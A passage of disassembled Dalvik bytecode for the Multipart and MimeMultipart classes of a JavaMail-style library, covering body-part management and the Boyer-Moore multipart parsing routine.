.catchall {:2 .. :1A} :1A
.catchall {:20 .. :30} :1A
.end method
.method public getContentType()String
.registers 2
00000000 iget-object v0, p0, Multipart->contentType:String
00000004 return-object v0
.end method
.method public declared-synchronized getCount()I
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Multipart->parts:Vector
:6
00000006 if-nez v0, :10
:A
0000000A const/4 v0, 0x0
:C
0000000C monitor-exit p0
0000000E return v0
:10
00000010 iget-object v0, p0, Multipart->parts:Vector
00000014 invoke-virtual Vector->size()I, v0
:1A
0000001A move-result v0
0000001C goto :C
:1E
0000001E move-exception v0
00000020 monitor-exit p0
00000022 throw v0
.catchall {:2 .. :6} :1E
.catchall {:10 .. :1A} :1E
.end method
.method public declared-synchronized getParent()Part
.registers 2
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Multipart->parent:Part
:6
00000006 monitor-exit p0
00000008 return-object v0
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public declared-synchronized removeBodyPart(I)V
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Multipart->parts:Vector
00000006 if-nez v0, :20
:A
0000000A new-instance v0, IndexOutOfBoundsException
0000000E const-string v1, "No such BodyPart"
00000012 invoke-direct IndexOutOfBoundsException-><init>(String)V, v0, v1
00000018 throw v0
:1A
0000001A move-exception v0
0000001C monitor-exit p0
0000001E throw v0
:20
00000020 iget-object v0, p0, Multipart->parts:Vector
00000024 invoke-virtual Vector->elementAt(I)Object, v0, p1
0000002A move-result-object v0
0000002C check-cast v0, BodyPart
00000030 iget-object v1, p0, Multipart->parts:Vector
00000034 invoke-virtual Vector->removeElementAt(I)V, v1, p1
0000003A const/4 v1, 0x0
0000003C invoke-virtual BodyPart->setParent(Multipart)V, v0, v1
:42
00000042 monitor-exit p0
00000044 return-void
.catchall {:2 .. :1A} :1A
.catchall {:20 .. :42} :1A
.end method
.method public declared-synchronized removeBodyPart(BodyPart)Z
.registers 4
00000000 monitor-enter p0
:2
00000002 iget-object v0, p0, Multipart->parts:Vector
00000006 if-nez v0, :20
:A
0000000A new-instance v0, MessagingException
0000000E const-string v1, "No such body part"
00000012 invoke-direct MessagingException-><init>(String)V, v0, v1
00000018 throw v0
:1A
0000001A move-exception v0
0000001C monitor-exit p0
0000001E throw v0
:20
00000020 iget-object v0, p0, Multipart->parts:Vector
00000024 invoke-virtual Vector->removeElement(Object)Z, v0, p1
0000002A move-result v0
0000002C const/4 v1, 0x0
0000002E invoke-virtual BodyPart->setParent(Multipart)V, p1, v1
:34
00000034 monitor-exit p0
00000036 return v0
.catchall {:2 .. :1A} :1A
.catchall {:20 .. :34} :1A
.end method
.method protected declared-synchronized setMultipartDataSource(MultipartDataSource)V
.registers 5
00000000 monitor-enter p0
:2
00000002 invoke-interface MultipartDataSource->getContentType()String, p1
00000008 move-result-object v0
0000000A iput-object v0, p0, Multipart->contentType:String
0000000E invoke-interface MultipartDataSource->getCount()I, p1
:14
00000014 move-result v1
00000016 const/4 v0, 0x0
:18
00000018 if-lt v0, v1, :20
:1C
0000001C monitor-exit p0
0000001E return-void
:20
00000020 invoke-interface MultipartDataSource->getBodyPart(I)BodyPart, p1, v0
00000026 move-result-object v2
00000028 invoke-virtual Multipart->addBodyPart(BodyPart)V, p0, v2
:2E
0000002E add-int/lit8 v0, v0, 0x1
00000032 goto :18
:34
00000034 move-exception v0
00000036 monitor-exit p0
00000038 throw v0
.catchall {:2 .. :14} :34
.catchall {:20 .. :2E} :34
.end method
.method public declared-synchronized setParent(Part)V
.registers 3
00000000 monitor-enter p0
:2
00000002 iput-object p1, p0, Multipart->parent:Part
:6
00000006 monitor-exit p0
00000008 return-void
:A
0000000A move-exception v0
0000000C monitor-exit p0
0000000E throw v0
.catchall {:2 .. :6} :A
.end method
.method public abstract writeTo(OutputStream)V
.end method
#--------------------------------------------------------------------------------
.class public MimeMultipart
.super Multipart
.source ""
.field private static bmparse:Z
.field private static ignoreMissingBoundaryParameter:Z
.field private static ignoreMissingEndBoundary:Z
.field private complete:Z
.field protected ds:DataSource
.field protected parsed:Z
.field private preamble:String
.method static constructor <clinit>()V
.registers 4
00000000 const/4 v0, 0x0
00000002 const/4 v1, 0x1
00000004 sput-boolean v1, MimeMultipart->ignoreMissingEndBoundary:Z
00000008 sput-boolean v1, MimeMultipart->ignoreMissingBoundaryParameter:Z
0000000C sput-boolean v1, MimeMultipart->bmparse:Z
:10
00000010 const-string v2, "mail.mime.multipart.ignoremissingendboundary"
00000014 invoke-static System->getProperty(String)String, v2
0000001A move-result-object v2
0000001C if-eqz v2, :82
:20
00000020 const-string v3, "false"
00000024 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
0000002A move-result v2
0000002C if-eqz v2, :82
:30
00000030 move v2, v0
:32
00000032 sput-boolean v2, MimeMultipart->ignoreMissingEndBoundary:Z
00000036 const-string v2, "mail.mime.multipart.ignoremissingboundaryparameter"
0000003A invoke-static System->getProperty(String)String, v2
00000040 move-result-object v2
00000042 if-eqz v2, :86
:46
00000046 const-string v3, "false"
0000004A invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000050 move-result v2
00000052 if-eqz v2, :86
:56
00000056 move v2, v0
:58
00000058 sput-boolean v2, MimeMultipart->ignoreMissingBoundaryParameter:Z
0000005C const-string v2, "mail.mime.multipart.bmparse"
00000060 invoke-static System->getProperty(String)String, v2
00000066 move-result-object v2
00000068 if-eqz v2, :8A
:6C
0000006C const-string v3, "false"
00000070 invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000076 move-result v2
00000078 if-eqz v2, :8A
:7C
0000007C sput-boolean v0, MimeMultipart->bmparse:Z
:80
00000080 return-void
:82
00000082 move v2, v1
00000084 goto :32
:86
00000086 move v2, v1
00000088 goto :58
:8A
0000008A move v0, v1
0000008C goto :7C
:8E
0000008E move-exception v0
00000090 goto :80
.catch SecurityException {:10 .. :80} :8E
.end method
.method public constructor <init>()V
.registers 2
00000000 const-string v0, "mixed"
00000004 invoke-direct MimeMultipart-><init>(String)V, p0, v0
0000000A return-void
.end method
.method public constructor <init>(String)V
.registers 6
00000000 const/4 v0, 0x1
00000002 const/4 v3, 0x0
00000004 invoke-direct Multipart-><init>()V, p0
0000000A iput-object v3, p0, MimeMultipart->ds:DataSource
0000000E iput-boolean v0, p0, MimeMultipart->parsed:Z
00000012 iput-boolean v0, p0, MimeMultipart->complete:Z
00000016 iput-object v3, p0, MimeMultipart->preamble:String
0000001A invoke-static UniqueValue->getUniqueBoundaryValue()String
00000020 move-result-object v0
00000022 new-instance v1, ContentType
00000026 const-string v2, "multipart"
0000002A invoke-direct ContentType-><init>(String, String, ParameterList)V, v1, v2, p1, v3
00000030 const-string v2, "boundary"
00000034 invoke-virtual ContentType->setParameter(String, String)V, v1, v2, v0
0000003A invoke-virtual ContentType->toString()String, v1
00000040 move-result-object v0
00000042 iput-object v0, p0, MimeMultipart->contentType:String
00000046 return-void
.end method
.method public constructor <init>(DataSource)V
.registers 4
00000000 const/4 v1, 0x0
00000002 const/4 v0, 0x1
00000004 invoke-direct Multipart-><init>()V, p0
0000000A iput-object v1, p0, MimeMultipart->ds:DataSource
0000000E iput-boolean v0, p0, MimeMultipart->parsed:Z
00000012 iput-boolean v0, p0, MimeMultipart->complete:Z
00000016 iput-object v1, p0, MimeMultipart->preamble:String
0000001A instance-of v0, p1, MessageAware
0000001E if-eqz v0, :3E
:22
00000022 move-object v0, p1
00000024 check-cast v0, MessageAware
00000028 invoke-interface MessageAware->getMessageContext()MessageContext, v0
0000002E move-result-object v0
00000030 invoke-virtual MessageContext->getPart()Part, v0
00000036 move-result-object v0
00000038 invoke-virtual MimeMultipart->setParent(Part)V, p0, v0
:3E
0000003E instance-of v0, p1, MultipartDataSource
00000042 if-eqz v0, :52
:46
00000046 check-cast p1, MultipartDataSource
0000004A invoke-virtual MimeMultipart->setMultipartDataSource(MultipartDataSource)V, p0, p1
:50
00000050 return-void
:52
00000052 const/4 v0, 0x0
00000054 iput-boolean v0, p0, MimeMultipart->parsed:Z
00000058 iput-object p1, p0, MimeMultipart->ds:DataSource
0000005C invoke-interface DataSource->getContentType()String, p1
00000062 move-result-object v0
00000064 iput-object v0, p0, MimeMultipart->contentType:String
00000068 goto :50
.end method
.method private declared-synchronized parsebm()V
.registers 28
00000000 monitor-enter p0
:2
00000002 move-object/from16 v0, p0
00000006 iget-boolean v2, v0, MimeMultipart->parsed:Z
:A
0000000A if-eqz v2, :12
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 const/4 v2, 0x0
00000014 const-wide/16 v4, 0x0
00000018 const-wide/16 v9, 0x0
:1C
0000001C move-object/from16 v0, p0
00000020 iget-object v3, v0, MimeMultipart->ds:DataSource
00000024 invoke-interface DataSource->getInputStream()InputStream, v3
0000002A move-result-object v6
0000002C instance-of v3, v6, ByteArrayInputStream
00000030 if-nez v3, :698
:34
00000034 instance-of v3, v6, BufferedInputStream
00000038 if-nez v3, :698
:3C
0000003C instance-of v3, v6, SharedInputStream
00000040 if-nez v3, :698
:44
00000044 new-instance v3, BufferedInputStream
00000048 invoke-direct BufferedInputStream-><init>(InputStream)V, v3, v6
:4E
0000004E instance-of v6, v3, SharedInputStream
00000052 if-eqz v6, :690
:56
00000056 move-object v0, v3
00000058 check-cast v0, SharedInputStream
0000005C move-object v2, v0
0000005E move-object/from16 v17, v2
:62
00000062 new-instance v2, ContentType
00000066 move-object/from16 v0, p0
0000006A iget-object v6, v0, MimeMultipart->contentType:String
0000006E invoke-direct ContentType-><init>(String)V, v2, v6
00000074 const/4 v6, 0x0
00000076 const-string v7, "boundary"
0000007A invoke-virtual ContentType->getParameter(String)String, v2, v7
00000080 move-result-object v2
00000082 if-eqz v2, :10C
:86
00000086 new-instance v6, StringBuilder
0000008A const-string v7, "--"
0000008E invoke-direct StringBuilder-><init>(String)V, v6, v7
00000094 invoke-virtual StringBuilder->append(String)StringBuilder, v6, v2
0000009A move-result-object v2
0000009C invoke-virtual StringBuilder->toString()String, v2
:A2
000000A2 move-result-object v6
:A4
000000A4 new-instance v18, LineInputStream
000000A8 move-object/from16 v0, v18
000000AC invoke-direct LineInputStream-><init>(InputStream)V, v0, v3
000000B2 const/4 v2, 0x0
000000B4 const/4 v7, 0x0
000000B6 move-object v11, v2
:B8
000000B8 invoke-virtual/range LineInputStream->readLine()String, v18 .. v18
000000BE move-result-object v2
000000C0 if-nez v2, :124
:C4
000000C4 if-nez v2, :1DA
:C8
000000C8 new-instance v2, MessagingException
000000CC const-string v4, "Missing start boundary"
000000D0 invoke-direct MessagingException-><init>(String)V, v2, v4
000000D6 throw v2
:D8
000000D8 move-exception v2
:DA
000000DA new-instance v4, MessagingException
000000DE const-string v5, "IO Error"
000000E2 invoke-direct MessagingException-><init>(String, Exception)V, v4, v5, v2
000000E8 throw v4
:EA
000000EA move-exception v2
:EC
000000EC invoke-virtual InputStream->close()V, v3
:F2
000000F2 throw v2
:F4
000000F4 move-exception v2
000000F6 monitor-exit p0
000000F8 throw v2
:FA
000000FA move-exception v2
:FC
000000FC new-instance v3, MessagingException
00000100 const-string v4, "No inputstream from datasource"
00000104 invoke-direct MessagingException-><init>(String, Exception)V, v3, v4, v2
0000010A throw v3
:10C
0000010C sget-boolean v2, MimeMultipart->ignoreMissingBoundaryParameter:Z
00000110 if-nez v2, :A4
:114
00000114 new-instance v2, MessagingException
00000118 const-string v3, "Missing boundary parameter"
0000011C invoke-direct MessagingException-><init>(String)V, v2, v3
00000122 throw v2
:124
00000124 invoke-virtual String->length()I, v2
0000012A move-result v8
0000012C add-int/lit8 v8, v8, 0xFFFFFFFFFFFFFFFF
:130
00000130 if-gez v8, :19E
:134
00000134 const/4 v12, 0x0
00000136 add-int/lit8 v8, v8, 0x1
0000013A invoke-virtual String->substring(I, I)String, v2, v12, v8
00000140 move-result-object v2
00000142 if-eqz v6, :1BC
:146
00000146 invoke-virtual String->equals(Object)Z, v2, v6
0000014C move-result v8
0000014E if-nez v8, :C4
:152
00000152 invoke-virtual String->length()I, v2
:158
00000158 move-result v8
0000015A if-lez v8, :B8
:15E
0000015E if-nez v7, :172
:162
00000162 const-string v7, "line.separator"
00000166 const-string v8, "\n"
0000016A invoke-static System->getProperty(String, String)String, v7, v8
:170
00000170 move-result-object v7
:172
00000172 if-nez v11, :68A
:176
00000176 new-instance v8, StringBuffer
0000017A invoke-virtual String->length()I, v2
00000180 move-result v11
00000182 add-int/lit8 v11, v11, 0x2
00000186 invoke-direct StringBuffer-><init>(I)V, v8, v11
:18C
0000018C invoke-virtual StringBuffer->append(String)StringBuffer, v8, v2
00000192 move-result-object v2
00000194 invoke-virtual StringBuffer->append(String)StringBuffer, v2, v7
0000019A move-object v11, v8
0000019C goto :B8
:19E
0000019E invoke-virtual String->charAt(I)C, v2, v8
000001A4 move-result v12
000001A6 const/16 v13, 0x20
000001AA if-eq v12, v13, :1B6
:1AE
000001AE const/16 v13, 0x9
000001B2 if-ne v12, v13, :134
:1B6
000001B6 add-int/lit8 v8, v8, 0xFFFFFFFFFFFFFFFF
000001BA goto :130
:1BC
000001BC const-string v8, "--"
000001C0 invoke-virtual String->startsWith(String)Z, v2, v8
000001C6 move-result v8
000001C8 if-eqz v8, :152
:1CC
000001CC move-object v6, v2
000001CE goto/16 :C4
:1D2
000001D2 move-exception v7
000001D4 const-string v7, "\n"
000001D8 goto :172
:1DA
000001DA if-eqz v11, :1EE
:1DE
000001DE invoke-virtual StringBuffer->toString()String, v11
000001E4 move-result-object v2
000001E6 move-object/from16 v0, p0
000001EA iput-object v2, v0, MimeMultipart->preamble:String
:1EE
000001EE invoke-static ASCIIUtility->getBytes(String)[B, v6
000001F4 move-result-object v19
000001F6 move-object/from16 v0, v19
000001FA array-length v0, v0
000001FC move/from16 v16, v0
00000200 const/16 v2, 0x100
00000204 new-array v0, v2, [I
00000208 move-object/from16 v20, v0
0000020C const/4 v2, 0x0
:20E
0000020E move/from16 v0, v16
00000212 if-lt v2, v0, :24E
:216
00000216 move/from16 v0, v16
0000021A new-array v0, v0, [I
0000021E move-object/from16 v21, v0
00000222 move/from16 v6, v16
:226
00000226 if-gtz v6, :260
:22A
0000022A add-int/lit8 v2, v16, 0xFFFFFFFFFFFFFFFF
0000022E const/4 v6, 0x1
00000230 aput v6, v21, v2
:234
00000234 const/4 v8, 0x0
:236
00000236 if-eqz v8, :29C
:23A
0000023A invoke-virtual InputStream->close()V, v3
:240
00000240 const/4 v2, 0x1
:242
00000242 move-object/from16 v0, p0
00000246 iput-boolean v2, v0, MimeMultipart->parsed:Z
:24A
0000024A goto/16 :E
:24E
0000024E aget-byte v6, v19, v2
00000252 add-int/lit8 v7, v2, 0x1
00000256 aput v7, v20, v6
0000025A add-int/lit8 v2, v2, 0x1
0000025E goto :20E
:260
00000260 add-int/lit8 v2, v16, 0xFFFFFFFFFFFFFFFF
:264
00000264 if-ge v2, v6, :274
:268
00000268 if-gtz v2, :292
:26C
0000026C add-int/lit8 v2, v6, 0xFFFFFFFFFFFFFFFF
00000270 move v6, v2
00000272 goto :226
:274
00000274 aget-byte v7, v19, v2
00000278 sub-int v8, v2, v6
0000027C aget-byte v8, v19, v8
00000280 if-ne v7, v8, :26C
:284
00000284 add-int/lit8 v7, v2, 0xFFFFFFFFFFFFFFFF
00000288 aput v6, v21, v7
0000028C add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
00000290 goto :264
:292
00000292 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
00000296 aput v6, v21, v2
0000029A goto :268
:29C
0000029C const/4 v2, 0x0
0000029E if-eqz v17, :2EA
:2A2
000002A2 invoke-interface/range SharedInputStream->getPosition()J, v17 .. v17
000002A8 move-result-wide v4
:2AA
000002AA invoke-virtual/range LineInputStream->readLine()String, v18 .. v18
000002B0 move-result-object v6
000002B2 if-eqz v6, :2C2
:2B6
000002B6 invoke-virtual String->length()I, v6
000002BC move-result v7
000002BE if-gtz v7, :2AA
:2C2
000002C2 if-nez v6, :682
:2C6
000002C6 sget-boolean v2, MimeMultipart->ignoreMissingEndBoundary:Z
000002CA if-nez v2, :2DE
:2CE
000002CE new-instance v2, MessagingException
000002D2 const-string v4, "missing multipart end boundary"
000002D6 invoke-direct MessagingException-><init>(String)V, v2, v4
000002DC throw v2
:2DE
000002DE const/4 v2, 0x0
000002E0 move-object/from16 v0, p0
000002E4 iput-boolean v2, v0, MimeMultipart->complete:Z
000002E8 goto :23A
:2EA
000002EA move-object/from16 v0, p0
000002EE invoke-virtual MimeMultipart->createInternetHeaders(InputStream)InternetHeaders, v0, v3
000002F4 move-result-object v2
000002F6 move-object v13, v2
000002F8 move-wide v14, v4
:2FA
000002FA invoke-virtual InputStream->markSupported()Z, v3
00000300 move-result v2
00000302 if-nez v2, :316
:306
00000306 new-instance v2, MessagingException
0000030A const-string v4, "Stream doesn\'t support mark"
0000030E invoke-direct MessagingException-><init>(String)V, v2, v4
00000314 throw v2
:316
00000316 const/4 v2, 0x0
00000318 if-nez v17, :380
:31C
0000031C new-instance v2, ByteArrayOutputStream
00000320 invoke-direct ByteArrayOutputStream-><init>()V, v2
00000326 move-object v12, v2
:328
00000328 move/from16 v0, v16
0000032C new-array v7, v0, [B
00000330 move/from16 v0, v16
00000334 new-array v6, v0, [B
00000338 const/4 v4, 0x0
0000033A const/4 v2, 0x1
0000033C move v11, v4
0000033E move-wide v4, v9
00000340 move v9, v2
:342
00000342 add-int/lit8 v2, v16, 0x4
00000346 add-int/lit16 v2, v2, 0x3E8
0000034A invoke-virtual InputStream->mark(I)V, v3, v2
00000350 const/4 v2, 0x0
00000352 const/4 v10, 0x0
00000354 move/from16 v0, v16
00000358 invoke-static MimeMultipart->readFully(InputStream, [B, I, I)I, v3, v7, v10, v0
0000035E move-result v10
00000360 move/from16 v0, v16
00000364 if-ge v10, v0, :3E0
:368
00000368 sget-boolean v8, MimeMultipart->ignoreMissingEndBoundary:Z
0000036C if-nez v8, :38C
:370
00000370 new-instance v2, MessagingException
00000374 const-string v4, "missing multipart end boundary"
00000378 invoke-direct MessagingException-><init>(String)V, v2, v4
0000037E throw v2
:380
00000380 invoke-interface/range SharedInputStream->getPosition()J, v17 .. v17
00000386 move-result-wide v9
00000388 move-object v12, v2
0000038A goto :328
:38C
0000038C if-eqz v17, :67C
:390
00000390 invoke-interface/range SharedInputStream->getPosition()J, v17 .. v17
00000396 move-result-wide v8
:398
00000398 const/4 v4, 0x0
0000039A move-object/from16 v0, p0
0000039E iput-boolean v4, v0, MimeMultipart->complete:Z
000003A2 const/4 v4, 0x1
:3A4
000003A4 if-eqz v17, :618
:3A8
000003A8 move-object/from16 v0, v17
000003AC invoke-interface SharedInputStream->newStream(J, J)InputStream, v0, v14, v15, v8, v9
000003B2 move-result-object v2
000003B4 move-object/from16 v0, p0
000003B8 invoke-virtual MimeMultipart->createMimeBodyPart(InputStream)MimeBodyPart, v0, v2
000003BE move-result-object v2
:3C0
000003C0 move-object/from16 v0, p0
000003C4 invoke-super Multipart->addBodyPart(BodyPart)V, v0, v2
000003CA move/from16 v24, v4
000003CE move-wide v4, v14
000003D0 move-wide/from16 v25, v8
000003D4 move-wide/from16 v9, v25
000003D8 move/from16 v8, v24
000003DC goto/16 :236
:3E0
000003E0 add-int/lit8 v2, v16, 0xFFFFFFFFFFFFFFFF
:3E4
000003E4 if-gez v2, :4C4
:3E8
000003E8 if-gez v2, :676
:3EC
000003EC const/4 v2, 0x0
000003EE if-nez v9, :452
:3F2
000003F2 add-int/lit8 v22, v11, 0xFFFFFFFFFFFFFFFF
000003F6 aget-byte v22, v6, v22
000003FA const/16 v23, 0xD
000003FE move/from16 v0, v22
00000402 move/from16 v1, v23
00000406 if-eq v0, v1, :41A
:40A
0000040A const/16 v23, 0xA
0000040E move/from16 v0, v22
00000412 move/from16 v1, v23
00000416 if-ne v0, v1, :452
:41A
0000041A const/4 v2, 0x1
0000041C const/16 v23, 0xA
00000420 move/from16 v0, v22
00000424 move/from16 v1, v23
00000428 if-ne v0, v1, :452
:42C
0000042C const/16 v22, 0x2
00000430 move/from16 v0, v22
00000434 if-lt v11, v0, :452
:438
00000438 add-int/lit8 v22, v11, 0xFFFFFFFFFFFFFFFE
0000043C aget-byte v22, v6, v22
00000440 const/16 v23, 0xD
00000444 move/from16 v0, v22
00000448 move/from16 v1, v23
0000044C if-ne v0, v1, :452
:450
00000450 const/4 v2, 0x2
:452
00000452 if-nez v9, :45A
:456
00000456 if-lez v2, :554
:45A
0000045A if-eqz v17, :47E
:45E
0000045E invoke-interface/range SharedInputStream->getPosition()J, v17 .. v17
00000464 move-result-wide v4
00000466 move/from16 v0, v16
0000046A int-to-long v0, v0
0000046C move-wide/from16 v22, v0
00000470 sub-long v4, v4, v22
00000474 int-to-long v0, v2
00000476 move-wide/from16 v22, v0
0000047A sub-long v4, v4, v22
:47E
0000047E invoke-virtual InputStream->read()I, v3
00000484 move-result v9
00000486 const/16 v22, 0x2D
0000048A move/from16 v0, v22
0000048E if-ne v9, v0, :4E6
:492
00000492 invoke-virtual InputStream->read()I, v3
00000498 move-result v22
0000049A const/16 v23, 0x2D
0000049E move/from16 v0, v22
000004A2 move/from16 v1, v23
000004A6 if-ne v0, v1, :4E6
:4AA
000004AA const/4 v8, 0x1
000004AC move-object/from16 v0, p0
000004B0 iput-boolean v8, v0, MimeMultipart->complete:Z
000004B4 const/4 v8, 0x1
000004B6 move/from16 v24, v8
000004BA move-wide v8, v4
000004BC move/from16 v4, v24
000004C0 goto/16 :3A4
:4C4
000004C4 aget-byte v22, v7, v2
000004C8 aget-byte v23, v19, v2
000004CC move/from16 v0, v22
000004D0 move/from16 v1, v23
000004D4 if-ne v0, v1, :3E8
:4D8
000004D8 add-int/lit8 v2, v2, 0xFFFFFFFFFFFFFFFF
000004DC goto :3E4
:4DE
000004DE invoke-virtual InputStream->read()I, v3
000004E4 move-result v9
:4E6
000004E6 const/16 v22, 0x20
000004EA move/from16 v0, v22
000004EE if-eq v9, v0, :4DE
:4F2
000004F2 const/16 v22, 0x9
000004F6 move/from16 v0, v22
000004FA if-eq v9, v0, :4DE
:4FE
000004FE const/16 v22, 0xA
00000502 move/from16 v0, v22
00000506 if-ne v9, v0, :518
:50A
0000050A move/from16 v24, v8
0000050E move-wide v8, v4
00000510 move/from16 v4, v24
00000514 goto/16 :3A4
:518
00000518 const/16 v22, 0xD
0000051C move/from16 v0, v22
00000520 if-ne v9, v0, :554
:524
00000524 const/4 v9, 0x1
00000526 invoke-virtual InputStream->mark(I)V, v3, v9
0000052C invoke-virtual InputStream->read()I, v3
00000532 move-result v9
00000534 const/16 v22, 0xA
00000538 move/from16 v0, v22
0000053C if-eq v9, v0, :668
:540
00000540 invoke-virtual InputStream->reset()V, v3
00000546 move/from16 v24, v8
0000054A move-wide v8, v4
0000054C move/from16 v4, v24
00000550 goto/16 :3A4
:554
00000554 const/4 v2, 0x0
00000556 move-wide v9, v4
:558
00000558 add-int/lit8 v4, v2, 0x1
0000055C aget-byte v5, v7, v2
00000560 and-int/lit8 v5, v5, 0x7F
00000564 aget v5, v20, v5
00000568 sub-int/2addr v4, v5
0000056A aget v2, v21, v2
0000056E invoke-static Math->max(I, I)I, v4, v2
00000574 move-result v2
00000576 const/4 v4, 0x2
00000578 if-ge v2, v4, :5F0
:57C
0000057C if-nez v17, :592
:580
00000580 const/4 v2, 0x1
00000582 if-le v11, v2, :592
:586
00000586 const/4 v2, 0x0
00000588 add-int/lit8 v4, v11, 0xFFFFFFFFFFFFFFFF
0000058C invoke-virtual ByteArrayOutputStream->write([B, I, I)V, v12, v6, v2, v4
:592
00000592 invoke-virtual InputStream->reset()V, v3
00000598 const-wide/16 v4, 0x1
0000059C move-object/from16 v0, p0
000005A0 invoke-direct MimeMultipart->skipFully(InputStream, J)V, v0, v3, v4, v5
000005A6 const/4 v2, 0x1
000005A8 if-lt v11, v2, :5DE
:5AC
000005AC const/4 v2, 0x0
000005AE add-int/lit8 v4, v11, 0xFFFFFFFFFFFFFFFF
000005B2 aget-byte v4, v6, v4
000005B6 aput-byte v4, v6, v2
000005BA const/4 v2, 0x1
000005BC const/4 v4, 0x0
000005BE aget-byte v4, v7, v4
000005C2 aput-byte v4, v6, v2
000005C6 const/4 v2, 0x2
000005C8 move-object v4, v6
:5CA
000005CA const/4 v5, 0x0
000005CC move v11, v2
000005CE move-object v6, v4
000005D0 move/from16 v24, v5
000005D4 move-wide v4, v9
000005D6 move/from16 v9, v24
000005DA goto/16 :342
:5DE
000005DE const/4 v2, 0x0
000005E0 const/4 v4, 0x0
000005E2 aget-byte v4, v7, v4
000005E6 aput-byte v4, v6, v2
000005EA const/4 v2, 0x1
000005EC move-object v4, v6
000005EE goto :5CA
:5F0
000005F0 if-lez v11, :600
:5F4
000005F4 if-nez v17, :600
:5F8
000005F8 const/4 v4, 0x0
000005FA invoke-virtual ByteArrayOutputStream->write([B, I, I)V, v12, v6, v4, v11
:600
00000600 invoke-virtual InputStream->reset()V, v3
00000606 int-to-long v4, v2
00000608 move-object/from16 v0, p0
0000060C invoke-direct MimeMultipart->skipFully(InputStream, J)V, v0, v3, v4, v5
00000612 move-object v4, v7
00000614 move-object v7, v6
00000616 goto :5CA
:618
00000618 sub-int v5, v11, v2
0000061C if-lez v5, :62C
:620
00000620 const/4 v5, 0x0
00000622 sub-int v2, v11, v2
00000626 invoke-virtual ByteArrayOutputStream->write([B, I, I)V, v12, v6, v5, v2
:62C
0000062C move-object/from16 v0, p0
00000630 iget-boolean v2, v0, MimeMultipart->complete:Z
00000634 if-nez v2, :644
:638
00000638 if-lez v10, :644
:63C
0000063C const/4 v2, 0x0
0000063E invoke-virtual ByteArrayOutputStream->write([B, I, I)V, v12, v7, v2, v10
:644
00000644 invoke-virtual ByteArrayOutputStream->toByteArray()[B, v12
0000064A move-result-object v2
0000064C move-object/from16 v0, p0
00000650 invoke-virtual MimeMultipart->createMimeBodyPart(InternetHeaders, [B)MimeBodyPart, v0, v13, v2
:656
00000656 move-result-object v2
00000658 goto/16 :3C0
:65C
0000065C move-exception v3
0000065E goto/16 :F2
:662
00000662 move-exception v2
00000664 goto/16 :240
:668
00000668 move/from16 v24, v8
0000066C move-wide v8, v4
0000066E move/from16 v4, v24
00000672 goto/16 :3A4
:676
00000676 move-wide v9, v4
00000678 goto/16 :558
:67C
0000067C move-wide v8, v4
0000067E goto/16 :398
:682
00000682 move-object v13, v2
00000684 move-wide v14, v4
00000686 goto/16 :2FA
:68A
0000068A move-object v8, v11
0000068C goto/16 :18C
:690
00000690 move-object/from16 v17, v2
00000694 goto/16 :62
:698
00000698 move-object v3, v6
0000069A goto/16 :4E
.catchall {:2 .. :A} :F4
.catch Exception {:1C .. :4E} :FA
.catchall {:1C .. :4E} :F4
.catchall {:4E .. :A2} :F4
.catch IOException {:A4 .. :D8} :D8
.catchall {:A4 .. :D8} :EA
.catchall {:DA .. :EA} :EA
.catch IOException {:EC .. :F2} :65C
.catchall {:EC .. :F2} :F4
.catchall {:F2 .. :F4} :F4
.catchall {:FC .. :124} :F4
.catch IOException {:124 .. :158} :D8
.catchall {:124 .. :158} :EA
.catch SecurityException {:162 .. :170} :1D2
.catch IOException {:162 .. :170} :D8
.catchall {:162 .. :170} :EA
.catch IOException {:176 .. :234} :D8
.catchall {:176 .. :234} :EA
.catch IOException {:23A .. :240} :662
.catchall {:23A .. :240} :F4
.catchall {:242 .. :24A} :F4
.catch IOException {:24E .. :656} :D8
.catchall {:24E .. :656} :EA
.end method
.method private static readFully(InputStream, [B, I, I)I
.registers 6
00000000 const/4 v0, 0x0
00000002 if-nez p3, :22
:6
00000006 return v0
:8
00000008 invoke-virtual InputStream->read([B, I, I)I, p0, p1, p2, p3
0000000E move-result v1
00000010 if-gtz v1, :1C
:14
00000014 if-gtz v0, :6
:18
00000018 const/4 v0, 0xFFFFFFFFFFFFFFFF
0000001A goto :6
:1C
0000001C add-int/2addr p2, v1
0000001E add-int/2addr v0, v1
00000020 sub-int/2addr p3, v1
:22
00000022 if-gtz p3, :8
:26
00000026 goto :14
.end method
.method private skipFully(InputStream, J)V
.registers 9
00000000 const-wide/16 v3, 0x0
:4
00000004 cmp-long v0, p2, v3
00000008 if-gtz v0, :E
:C
0000000C return-void
:E
0000000E invoke-virtual InputStream->skip(J)J, p1, p2, p3
00000014 move-result-wide v0
00000016 cmp-long v2, v0, v3
0000001A if-gtz v2, :2E
:1E
0000001E new-instance v0, EOFException
00000022 const-string v1, "can\'t skip"
00000026 invoke-direct EOFException-><init>(String)V, v0, v1
0000002C throw v0
:2E
0000002E sub-long/2addr p2, v0
00000030 goto :4
.end method
.method public declared-synchronized addBodyPart(BodyPart)V
.registers 3
00000000 monitor-enter p0
:2
00000002 invoke-virtual MimeMultipart->parse()V, p0
00000008 invoke-super Multipart->addBodyPart(BodyPart)V, p0, p1
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 move-exception v0
00000014 monitor-exit p0
00000016 throw v0
.catchall {:2 .. :E} :12
.end method
.method public declared-synchronized addBodyPart(BodyPart, I)V
.registers 4
00000000 monitor-enter p0
:2
00000002 invoke-virtual MimeMultipart->parse()V, p0
00000008 invoke-super Multipart->addBodyPart(BodyPart, I)V, p0, p1, p2
:E
0000000E monitor-exit p0
00000010 return-void
:12
00000012 move-exception v0
00000014 monitor-exit p0
00000016 throw v0
.catchall {:2 .. :E} :12
.end method
.method protected createInternetHeaders(InputStream)InternetHeaders
.registers 3
00000000 new-instance v0, InternetHeaders
00000004 invoke-direct InternetHeaders-><init>(InputStream)V, v0, p1
0000000A return-object v0
.end method
.method protected createMimeBodyPart(InputStream)MimeBodyPart
